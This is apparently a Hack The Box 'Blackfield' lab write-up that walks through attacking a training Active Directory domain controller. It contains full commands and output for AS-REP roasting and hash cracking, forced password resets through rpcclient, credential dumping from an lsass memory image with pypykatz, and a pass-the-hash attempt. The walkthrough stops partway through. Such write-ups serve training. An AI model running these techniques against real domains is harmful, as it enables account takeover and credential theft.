HTB - Blackfield
Last updated
Last updated
Short description to include any strange things to be dealt with
description with generic example
description with generic example
I started my enumeration with an nmap scan of 10.10.10.192. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves the output with a filename of <name>.
At first my scan wouldn't go through until I added the -Pn flag to stop nmap from sending ICMP probes. After that it proceeded normally.
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ nmap -n -v -p- -sCV -oA blackfield 10.10.10.192 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-03 11:28 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Initiating Connect Scan at 11:28
Scanning 10.10.10.192 [65535 ports]
Discovered open port 135/tcp on 10.10.10.192
Discovered open port 53/tcp on 10.10.10.192
Discovered open port 445/tcp on 10.10.10.192
Connect Scan Timing: About 19.76% done; ETC: 11:31 (0:02:06 remaining)
Discovered open port 88/tcp on 10.10.10.192
Discovered open port 593/tcp on 10.10.10.192
Connect Scan Timing: About 47.61% done; ETC: 11:30 (0:01:07 remaining)
Discovered open port 3268/tcp on 10.10.10.192
Discovered open port 5985/tcp on 10.10.10.192
Discovered open port 389/tcp on 10.10.10.192
Completed Connect Scan at 11:30, 106.20s elapsed (65535 total ports)
Initiating Service scan at 11:30
Scanning 8 services on 10.10.10.192
Completed Service scan at 11:32, 142.44s elapsed (8 services on 1 host)
NSE: Script scanning 10.10.10.192.
Initiating NSE at 11:32
Completed NSE at 11:33, 40.24s elapsed
Initiating NSE at 11:33
Completed NSE at 11:33, 1.04s elapsed
Initiating NSE at 11:33
Completed NSE at 11:33, 0.01s elapsed
Nmap scan report for 10.10.10.192
Host is up (0.035s latency).
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-03 22:36:52Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/3%Time=5F789917%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h06m24s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-10-03T22:39:10
|_ start_date: N/A
NSE: Script Post-scanning.
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Initiating NSE at 11:33
Completed NSE at 11:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 290.20 secondsSince port 445 (SMB) is open I tried to enumerate open shares by using anonymous login
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ crackmapexec smb 10.10.10.192 -u '' --shares
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)with crackmapexec was unable to get any shares without a username, but I'm not sure if you can do anonymous login with this program so I tried with the standard smbclient as well
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ smbclient -U "" -L \\\\10.10.10.192\\
Enter WORKGROUP\'s password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup availablewith smbclient got a list of shares!
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ smbclient -U "" \\\\10.10.10.192\\forensic
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*I was able to login to the forensic share anonymously but was not allowed to do much
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ smbclient -U "" \\\\10.10.10.192\\profiles$
Enter WORKGROUP\'s password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 3 12:47:12 2020
.. D 0 Wed Jun 3 12:47:12 2020
AAlleni D 0 Wed Jun 3 12:47:11 2020
ABarteski D 0 Wed Jun 3 12:47:11 2020
ABekesz D 0 Wed Jun 3 12:47:11 2020
ABenzies D 0 Wed Jun 3 12:47:11 2020
ABiemiller D 0 Wed Jun 3 12:47:11 2020
AChampken D 0 Wed Jun 3 12:47:11 2020
ACheretei D 0 Wed Jun 3 12:47:11 2020
ACsonaki D 0 Wed Jun 3 12:47:11 2020
AHigchens D 0 Wed Jun 3 12:47:11 2020
AJaquemai D 0 Wed Jun 3 12:47:11 2020
AKlado D 0 Wed Jun 3 12:47:11 2020
AKoffenburger D 0 Wed Jun 3 12:47:11 2020
AKollolli D 0 Wed Jun 3 12:47:11 2020
AKruppe D 0 Wed Jun 3 12:47:11 2020
AKubale D 0 Wed Jun 3 12:47:11 2020
ALamerz D 0 Wed Jun 3 12:47:11 2020
AMaceldon D 0 Wed Jun 3 12:47:11 2020
AMasalunga D 0 Wed Jun 3 12:47:11 2020
ANavay D 0 Wed Jun 3 12:47:11 2020
ANesterova D 0 Wed Jun 3 12:47:11 2020
ANeusse D 0 Wed Jun 3 12:47:11 2020
AOkleshen D 0 Wed Jun 3 12:47:11 2020
APustulka D 0 Wed Jun 3 12:47:11 2020
ARotella D 0 Wed Jun 3 12:47:11 2020
ASanwardeker D 0 Wed Jun 3 12:47:11 2020
AShadaia D 0 Wed Jun 3 12:47:11 2020
ASischo D 0 Wed Jun 3 12:47:11 2020
ASpruce D 0 Wed Jun 3 12:47:11 2020
ATakach D 0 Wed Jun 3 12:47:11 2020
ATaueg D 0 Wed Jun 3 12:47:11 2020
ATwardowski D 0 Wed Jun 3 12:47:11 2020
audit2020 D 0 Wed Jun 3 12:47:11 2020
AWangenheim D 0 Wed Jun 3 12:47:11 2020
AWorsey D 0 Wed Jun 3 12:47:11 2020
AZigmunt D 0 Wed Jun 3 12:47:11 2020
BBakajza D 0 Wed Jun 3 12:47:11 2020
BBeloucif D 0 Wed Jun 3 12:47:11 2020
BCarmitcheal D 0 Wed Jun 3 12:47:11 2020
BConsultant D 0 Wed Jun 3 12:47:11 2020
BErdossy D 0 Wed Jun 3 12:47:11 2020
BGeminski D 0 Wed Jun 3 12:47:11 2020
BLostal D 0 Wed Jun 3 12:47:11 2020
BMannise D 0 Wed Jun 3 12:47:11 2020
BNovrotsky D 0 Wed Jun 3 12:47:11 2020
BRigiero D 0 Wed Jun 3 12:47:11 2020
BSamkoses D 0 Wed Jun 3 12:47:11 2020
BZandonella D 0 Wed Jun 3 12:47:11 2020
CAcherman D 0 Wed Jun 3 12:47:12 2020
CAkbari D 0 Wed Jun 3 12:47:12 2020
CAldhowaihi D 0 Wed Jun 3 12:47:12 2020
CArgyropolous D 0 Wed Jun 3 12:47:12 2020
CDufrasne D 0 Wed Jun 3 12:47:12 2020
CGronk D 0 Wed Jun 3 12:47:11 2020
Chiucarello D 0 Wed Jun 3 12:47:11 2020
Chiuccariello D 0 Wed Jun 3 12:47:12 2020
CHoytal D 0 Wed Jun 3 12:47:12 2020
CKijauskas D 0 Wed Jun 3 12:47:12 2020
CKolbo D 0 Wed Jun 3 12:47:12 2020
CMakutenas D 0 Wed Jun 3 12:47:12 2020
CMorcillo D 0 Wed Jun 3 12:47:11 2020
CSchandall D 0 Wed Jun 3 12:47:12 2020
CSelters D 0 Wed Jun 3 12:47:12 2020
CTolmie D 0 Wed Jun 3 12:47:12 2020
DCecere D 0 Wed Jun 3 12:47:12 2020
DChintalapalli D 0 Wed Jun 3 12:47:12 2020
DCwilich D 0 Wed Jun 3 12:47:12 2020
DGarbatiuc D 0 Wed Jun 3 12:47:12 2020
DKemesies D 0 Wed Jun 3 12:47:12 2020
DMatuka D 0 Wed Jun 3 12:47:12 2020
DMedeme D 0 Wed Jun 3 12:47:12 2020
DMeherek D 0 Wed Jun 3 12:47:12 2020
DMetych D 0 Wed Jun 3 12:47:12 2020
DPaskalev D 0 Wed Jun 3 12:47:12 2020
DPriporov D 0 Wed Jun 3 12:47:12 2020
DRusanovskaya D 0 Wed Jun 3 12:47:12 2020
DVellela D 0 Wed Jun 3 12:47:12 2020
DVogleson D 0 Wed Jun 3 12:47:12 2020
DZwinak D 0 Wed Jun 3 12:47:12 2020
EBoley D 0 Wed Jun 3 12:47:12 2020
EEulau D 0 Wed Jun 3 12:47:12 2020
EFeatherling D 0 Wed Jun 3 12:47:12 2020
EFrixione D 0 Wed Jun 3 12:47:12 2020
EJenorik D 0 Wed Jun 3 12:47:12 2020
EKmilanovic D 0 Wed Jun 3 12:47:12 2020
ElKatkowsky D 0 Wed Jun 3 12:47:12 2020
EmaCaratenuto D 0 Wed Jun 3 12:47:12 2020
EPalislamovic D 0 Wed Jun 3 12:47:12 2020
EPryar D 0 Wed Jun 3 12:47:12 2020
ESachhitello D 0 Wed Jun 3 12:47:12 2020
ESariotti D 0 Wed Jun 3 12:47:12 2020
ETurgano D 0 Wed Jun 3 12:47:12 2020
EWojtila D 0 Wed Jun 3 12:47:12 2020
FAlirezai D 0 Wed Jun 3 12:47:12 2020
FBaldwind D 0 Wed Jun 3 12:47:12 2020
FBroj D 0 Wed Jun 3 12:47:12 2020
FDeblaquire D 0 Wed Jun 3 12:47:12 2020
FDegeorgio D 0 Wed Jun 3 12:47:12 2020
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FLasokowski D 0 Wed Jun 3 12:47:12 2020
FPflum D 0 Wed Jun 3 12:47:12 2020
FReffey D 0 Wed Jun 3 12:47:12 2020
GaBelithe D 0 Wed Jun 3 12:47:12 2020
Gareld D 0 Wed Jun 3 12:47:12 2020
GBatowski D 0 Wed Jun 3 12:47:12 2020
GForshalger D 0 Wed Jun 3 12:47:12 2020
GGomane D 0 Wed Jun 3 12:47:12 2020
GHisek D 0 Wed Jun 3 12:47:12 2020
GMaroufkhani D 0 Wed Jun 3 12:47:12 2020
GMerewether D 0 Wed Jun 3 12:47:12 2020
GQuinniey D 0 Wed Jun 3 12:47:12 2020
GRoswurm D 0 Wed Jun 3 12:47:12 2020
GWiegard D 0 Wed Jun 3 12:47:12 2020
HBlaziewske D 0 Wed Jun 3 12:47:12 2020
HColantino D 0 Wed Jun 3 12:47:12 2020
HConforto D 0 Wed Jun 3 12:47:12 2020
HCunnally D 0 Wed Jun 3 12:47:12 2020
HGougen D 0 Wed Jun 3 12:47:12 2020
HKostova D 0 Wed Jun 3 12:47:12 2020
IChristijr D 0 Wed Jun 3 12:47:12 2020
IKoledo D 0 Wed Jun 3 12:47:12 2020
IKotecky D 0 Wed Jun 3 12:47:12 2020
ISantosi D 0 Wed Jun 3 12:47:12 2020
JAngvall D 0 Wed Jun 3 12:47:12 2020
JBehmoiras D 0 Wed Jun 3 12:47:12 2020
JDanten D 0 Wed Jun 3 12:47:12 2020
JDjouka D 0 Wed Jun 3 12:47:12 2020
JKondziola D 0 Wed Jun 3 12:47:12 2020
JLeytushsenior D 0 Wed Jun 3 12:47:12 2020
JLuthner D 0 Wed Jun 3 12:47:12 2020
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JPistachio D 0 Wed Jun 3 12:47:12 2020
JScima D 0 Wed Jun 3 12:47:12 2020
JSebaali D 0 Wed Jun 3 12:47:12 2020
JShoenherr D 0 Wed Jun 3 12:47:12 2020
JShuselvt D 0 Wed Jun 3 12:47:12 2020
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KDorney D 0 Wed Jun 3 12:47:12 2020
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KRasmor D 0 Wed Jun 3 12:47:12 2020
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LTindall D 0 Wed Jun 3 12:47:12 2020
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MHatziantoniou D 0 Wed Jun 3 12:47:12 2020
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PDoreste D 0 Wed Jun 3 12:47:12 2020
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PMasulla D 0 Wed Jun 3 12:47:12 2020
PMendlinger D 0 Wed Jun 3 12:47:12 2020
PParakat D 0 Wed Jun 3 12:47:12 2020
PProvencer D 0 Wed Jun 3 12:47:12 2020
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7846143 blocks of size 4096. 4006940 blocks availableTrying again with the profiles$ share yielded a lot more information! I took all of the these usernames and added them to a list.
I tried using Metasploit's auxiliary(gather/kerberos_enumusers) Kerberos user enumeration tool, however I just got an error for each user saying [*] 10.10.10.193:88 - Wrong DOMAIN Name? Check DOMAIN and retry...
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ rpcclient -U "" -N 10.10.10.192 1 ⨯
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> getdcname blackfield
\\DC01After trying numerous commands, I was able to at least verify that blackfield was indeed the correct domain name.
since the module in msfconsole didn't I decided to try the python-based Impacket script GetNPUsers.py which does the same type of check to see if any users have UF_DONT_REQUIRE_PREAUTH turned off.
┌──(zweilos㉿kali)-[~/impacket/examples]
└─$ python3 ./GetNPUsers.py blackfield/ -no-pass -usersfile ~/htb/blackfield/usernames -dc-ip 10.10.10.192 > kerberosEnum
┌──(zweilos㉿kali)-[~/impacket/examples]
└─$ cat kerberosEnum | grep -v UNKNOWN
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD:fd014a8905a07be16b91d57562b70a97$41d550ea1cde139decbebfad063e7609dab33b33273e9ceb5668dc6e1d8bacc94142deb2f370f523d9a0597d552a72b6c5af467fa4ddbacf4a989f6c79f4d1f303103582b9bbc0626aa78ad60a47d38070da94cb3489a9915a9470fbc30ef80f3835691d86e30ec0269f2220f35a567bb1d344cfde7dc83d6e1c18f7d7f52f5d6bd22d62621c833b609205c7f42d4e3138007bd584f8828331a0180718ef3b6e3d93de7ce69142b4ca78b8a1f9e891ae494bacb9d3dd4d93b3e8cab02e4be01ce934634491e836d2b5450ff841e0221d3470e44d5876071447a55885aa80a3a11de423f89f1c1baa20898267bc7e
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH setI found three users that had this turned off, and one even had the password hash attached! Time to fire up hashcat.
┌──(zweilos㉿kali)-[~/impacket/examples]
└─$ hashcat --help | grep -i kerberos 1 ⨯
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocols
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocols
18200 | Kerberos 5, etype 23, AS-REP | Network Protocols
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocols
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocols
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocols
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocols
┌──(zweilos㉿kali)-[~/impacket/examples]
└─$ hashcat -O -D1,2 -a0 -m 18200 support.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
$krb5asrep$23$support@BLACKFIELD:fd014a8905a07be16b91d57562b70a97$41d550ea1cde139decbebfad063e7609dab33b33273e9ceb5668dc6e1d8bacc94142deb2f370f523d9a0597d552a72b6c5af467fa4ddbacf4a989f6c79f4d1f303103582b9bbc0626aa78ad60a47d38070da94cb3489a9915a9470fbc30ef80f3835691d86e30ec0269f2220f35a567bb1d344cfde7dc83d6e1c18f7d7f52f5d6bd22d62621c833b609205c7f42d4e3138007bd584f8828331a0180718ef3b6e3d93de7ce69142b4ca78b8a1f9e891ae494bacb9d3dd4d93b3e8cab02e4be01ce934634491e836d2b5450ff841e0221d3470e44d5876071447a55885aa80a3a11de423f89f1c1baa20898267bc7e:#00^BlackKnight
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$support@BLACKFIELD:fd014a8905a07be16b...67bc7e
Time.Started.....: Sat Oct 3 13:48:55 2020 (8 secs)
Time.Estimated...: Sat Oct 3 13:49:03 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1917.5 kH/s (11.38ms) @ Accel:128 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 3094/14344385 (0.02%)
Restore.Point....: 14322676/14344385 (99.85%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[2626494c4f5645594f55] -> $HEX[042a0337c2a156616d6f732103]
Started: Sat Oct 3 13:48:43 2020
Stopped: Sat Oct 3 13:49:04 2020After searching for the correct hash type I fired up hashcat and very quickly cracked the password using the rockyou.txt wordlist. The password for support was #00^BlackKnight
┌──(zweilos㉿kali)-[/usr/share/neo4j/conf]
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight' --shares
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 [+] BLACKFIELD.local\support:#00^BlackKnight
SMB 10.10.10.192 445 DC01 [+] Enumerated shares
SMB 10.10.10.192 445 DC01 Share Permissions Remark
SMB 10.10.10.192 445 DC01 ----- ----------- ------
SMB 10.10.10.192 445 DC01 ADMIN$ Remote Admin
SMB 10.10.10.192 445 DC01 C$ Default share
SMB 10.10.10.192 445 DC01 forensic Forensic / Audit share.
SMB 10.10.10.192 445 DC01 IPC$ READ Remote IPC
SMB 10.10.10.192 445 DC01 NETLOGON READ Logon server share
SMB 10.10.10.192 445 DC01 profiles$ READ
SMB 10.10.10.192 445 DC01 SYSVOL READ Logon server shareThe user support could view the same shares as I could see anonymously. Next I tried to see if this user could get any more information from them.
I connected to each of the three shares: profiles$ still had the same empty user directories, NETLOGON was completely empty, while SYSVOL only had a few files, none of which contained anything useful.
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ ldapsearch -D 'BLACKFIELD\support' -w '#00^BlackKnight' -h 10.10.10.192 -s sub -L -b "dc=BLACKFIELD,dc=LOCAL" > blackfield.LDAPI ran ldapsearch next to see if I could get any more information than before, and a mountain of data returned. (I also made the mistake of not sending the output to a file the first time and my screen exploded). Unfortunately, there was nothing new or useful in all of that the output (besides a slew of anonymous sounding usernames such as blackfield123456, etc.)
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192
INFO: Found AD domain: blackfield.local
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 315 users
INFO: Connecting to GC LDAP server: dc01.blackfield.local
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 00M 10SWith so many users to go off and no way to directly tell what rights I had with the user support I loaded bloodhound up to see if it could sniff me a path forward. The python version of bloodhound allows it to be run against a remote host with credentials, and outputs a few .json files that I imported into the main program.
Bloodhound reported 342 (!) users on this domain.
Most of them were named generically BLACKFIELD123456, however there were a few that stuck out. I set these as my targets and began looking for ways to link them. Since I already had the credentials for support I marked that user as 'owned' and proceeded to see what I could do with its access.
Since support has the ForceChangePassword privilege over the user audit2020 I looked up how to change a user's password via SMB and found: https://www.dark-hamster.com/operating-system/linux/ubuntu/reset-samba-user-password-via-command-line/
Unfortunately this did not work, so I did some searching to see if there was another way to do it remotely. I found a shady looking site that explained what I was looking for using RPC at https://malicious.link/post/2017/reset-ad-user-password-with-linux/ (it was mixed in the middle of a bunch of those scam/malware .it sites so I was a bit leery at first.)
This site showed that using rpcclient with the syntax rpcclient $> setuserinfo2 adminuser 23 'ASDqwe123' you could change a user's password without knowing the current one. It linked to a MSDN site which explained why to use 23 for the property. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN
3 pictures
┌──(zweilos㉿kali)-[/usr/share/neo4j/conf]
└─$ rpcclient -U BLACKFIELD/support 10.10.10.192
Enter BLACKFIELD\support's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
...snipped...
user:[BLACKFIELD438814] rid:[0x584]
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]
rpcclient $> chgpasswd audit2020
Usage: chgpasswd username oldpass newpass
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX
rpcclient $> setuserinfo audit2020 23 TestPass!23I also tried doing it the 'easy' way with the one-liner from the bottom of the blog post and successfully changed it with the net command. I'll definitely have to remember that I can use net commands from Linux in the future!
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020:
Enter WORKGROUP\support's password:now that I had a usable password for another user I set out to see what I could get into. I was unable to use WinRM or get anything further from rpcclient, so I went back to enumerating the open SMB shares.
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ smbclient -W BLACKFIELD -U "audit2020" \\\\10.10.10.192\\forensic 'TestPass!23'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 3994160 blocks available
smb: \> cd commands_output\
smb: \commands_output\> mget *
Get file domain_admins.txt? y
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (2.8 KiloBytes/sec) (average 2.8 KiloBytes/sec)
Get file domain_groups.txt? y
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (7.1 KiloBytes/sec) (average 4.6 KiloBytes/sec)
Get file domain_users.txt? y
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (120.8 KiloBytes/sec) (average 38.8 KiloBytes/sec)
Get file firewall_rules.txt? y
getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (591.2 KiloBytes/sec) (average 400.3 KiloBytes/sec)
Get file ipconfig.txt? y
getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (12.8 KiloBytes/sec) (average 363.8 KiloBytes/sec)
Get file netstat.txt? y
getting file \commands_output\netstat.txt of size 3842 as netstat.txt (25.5 KiloBytes/sec) (average 332.5 KiloBytes/sec)
Get file route.txt? y
getting file \commands_output\route.txt of size 3976 as route.txt (23.4 KiloBytes/sec) (average 303.3 KiloBytes/sec)
Get file systeminfo.txt? y
getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (32.4 KiloBytes/sec) (average 283.7 KiloBytes/sec)
Get file tasklist.txt? y
getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (49.8 KiloBytes/sec) (average 261.8 KiloBytes/sec)
smb: \commands_output\> cd ../
smb: \> cd memory_analysis\
smb: \memory_analysis\> ls
. D 0 Thu May 28 16:28:33 2020
.. D 0 Thu May 28 16:28:33 2020
conhost.zip A 37876530 Thu May 28 16:25:36 2020
ctfmon.zip A 24962333 Thu May 28 16:25:45 2020
dfsrs.zip A 23993305 Thu May 28 16:25:54 2020
dllhost.zip A 18366396 Thu May 28 16:26:04 2020
ismserv.zip A 8810157 Thu May 28 16:26:13 2020
lsass.zip A 41936098 Thu May 28 16:25:08 2020
mmc.zip A 64288607 Thu May 28 16:25:25 2020
RuntimeBroker.zip A 13332174 Thu May 28 16:26:24 2020
ServerManager.zip A 131983313 Thu May 28 16:26:49 2020
sihost.zip A 33141744 Thu May 28 16:27:00 2020
smartscreen.zip A 33756344 Thu May 28 16:27:11 2020
svchost.zip A 14408833 Thu May 28 16:27:19 2020
taskhostw.zip A 34631412 Thu May 28 16:27:30 2020
winlogon.zip A 14255089 Thu May 28 16:27:38 2020
wlms.zip A 4067425 Thu May 28 16:27:44 2020
WmiPrvSE.zip A 18303252 Thu May 28 16:27:53 2020
7846143 blocks of size 4096. 3994160 blocks available
smb: \memory_analysis\> get lsass.zip
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (3436.8 KiloBytes/sec) (average 2963.0 KiloBytes/sec)
smb: \memory_analysis\> cd ..
smb: \> ls
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 3994160 blocks available
smb: \> cd tools\
smb: \tools\> ls
. D 0 Sun Feb 23 08:39:08 2020
.. D 0 Sun Feb 23 08:39:08 2020
sleuthkit-4.8.0-win32 D 0 Sun Feb 23 08:39:03 2020
sysinternals D 0 Sun Feb 23 08:35:25 2020
volatility D 0 Sun Feb 23 08:35:39 2020
7846143 blocks of size 4096. 3994160 blocks available┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ pypykatz lsa minidump lsass.DMP | tee blackfieldCreds
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
== SSP [633ba]==
username
domainname
password None
== Kerberos ==
Username: svc_backup
Domain: BLACKFIELD.LOCAL
Password: None
== WDIGEST [633ba]==
username svc_backup
domainname BLACKFIELD
password None
...smipped...
== LogonSession ==
authentication_id 153705 (25869)
session_id 1
username Administrator
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T17:59:04.506080+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-500
luid 153705
== MSV ==
Username: Administrator
Domain: BLACKFIELD
LM: NA
NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368
== WDIGEST [25869]==
username Administrator
domainname BLACKFIELD
password None
== SSP [25869]==
username
domainname
password None
== Kerberos ==
Username: Administrator
Domain: BLACKFIELD.LOCAL
Password: None
== WDIGEST [25869]==
username Administrator
domainname BLACKFIELD
password None
== DPAPI [25869]==
luid 153705
key_guid d1f69692-cfdc-4a80-959e-bab79c9c327e
masterkey 769c45bf7ceb3c0e28fb78f2e355f7072873930b3c1d3aef0e04ecbb3eaf16aa946e553007259bf307eb740f222decadd996ed660ffe648b0440d84cd97bf5a5
sha1_masterkey d04452f8459a46460939ced67b971bcf27cb2fb9ran mimikatz - python edition (pypykatz) on the lssas.DMP file, then pulled out the usernames, passwords, and hashes
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ cat blackfieldCreds | grep -i username | cut -d '"' -f4 |sort | uniq >> usernames
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ cat blackfieldCreds | grep -i password | cut -d '"' -f4 |sort | uniq >> passwords
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ cat blackfieldCreds | grep -i nthash | cut -d '"' -f4 |sort | uniq >> hashesI tried cracking the NTLM hashes with hashcat but even using all of the various rules and some basic mangles I was unsiccessful. Luckily since this is Windows domain I can try to do a pass-the-hash attack instead.
┌──(zweilos㉿kali)-[~/htb/blackfield]
└─$ crackmapexec smb 10.10.10.192 -u targets -H hashes -o cme.status
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\Administrator 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\Administrator 9658d1d1dcd9250115e2205d9f48400d STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\Administrator b624dc83a27cc29da11d9bf25efea796 STATUS_LOGON_FAILURE
SMB 10.10.10.192 445 DC01 [-] BLACKFIELD.local\svc_backup 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 STATUS_LOGON_FAILURE
